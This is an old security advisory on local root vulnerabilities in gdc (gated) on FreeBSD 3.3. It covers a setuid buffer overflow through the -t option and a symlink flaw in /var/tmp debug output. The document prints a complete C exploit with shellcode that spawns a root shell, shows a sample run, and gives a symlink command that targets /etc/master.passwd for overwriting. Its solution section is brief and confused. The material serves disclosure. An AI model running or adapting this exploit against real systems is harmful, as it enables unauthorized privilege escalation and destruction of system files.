COMMAND
gdc (gated-3.1.5)
SYSTEMS AFFECTED
FreeBSD 3.3
PROBLEM
Brock Tellier found following. Vulnerabilities exist in gdc in
(at least) FreeBSD 3.3-RELEASE which will allow certian users to
gain root privs and overwrite system files. Tests were done ONLY
on FreeBSD 3.3-RELEASE with the gated-3.5.11 included on the
installation CD. By default on FreeBSD (when installed at initial
install by /stand/sysinstall), gdc is given permissions as shown:
-rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc
Thus only users in the group 'wheel' may run gdc.
/usr/local/bin/gdc contains a buffer overflow that may ONLY be
exploited by the group 'wheel'. According to the man page the
default group is "gdmaint", but it was not installed this way by
default on my system, nor were any instructions given to make a
gdmaint group. The overflow comes when gdc is supplied a large
-t time option on the command line. Some may scoff at this
particular hole, claiming that if you've let a malicious user
have/gain wheel privs, things have already gone past the point of
no return. These people are probably right, but in any case,
it's worth nothing.
/usr/local/bin/gdc allows debugging output to be written to a
file in /var/tmp which follows symlinks. This vulnerability can
be exploited to overwrite root-owned system files (more of a DoS,
since it doesn't change the destination file's perms) regardless
of the user who ran gdc. Once again, a normal user without wheel
or similar gid cannot run gdc. However a normal user may create
the symlinks that a wheel group user's gdc will follow.
Exploit (buffer overflow as part of the wheel group):
$ gcc -o gdcx gdcx.c
$ ls -la `which gdc` -rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc
$ id
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
$ ./gdcx
gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>
eip=0xbfbfdb65 offset=0 buflen=4093
NOPs to 937
Shellcode to 1004
eip to 1008
gdc: invalid wait time:
=EB5^Y3=C0=89F=F5=83=C8f=89F=F9=8D-=89=
^
3=D2R=89V=89V =8DF
P=8D P=B8{V4 5@V4 Q=9A>:)(:<=E8=C6=FF=FF=FF/bin/she=DB=BF=BF
#
The code itself:
/*
* gdc exploit for Freebsd-3.3 yields euid=0(root)
* by default, only group wheel (or whatever your trusted gated group is)
* and root can run gdc
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]= /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4093;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
if (argv[1]) { =
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 937; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize - 1]='\0';
execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);
}
For symlink vulnerability:
ln -s /etc/master.passwd /var/tmp/gated_dump
(wait for priv'd user to run /usr/local/bin/gdc dump)
SOLUTION
This is a problem, but it's not just with FreeBSD - obviously if
you follow these instructions then you're just giving root to
members of gdmaint, not wheel (which may in fact be worse, if you
trust people to use gdc who you don't trust with the wheel bit
(i.e. those who can legally su to root if they knew the
password)).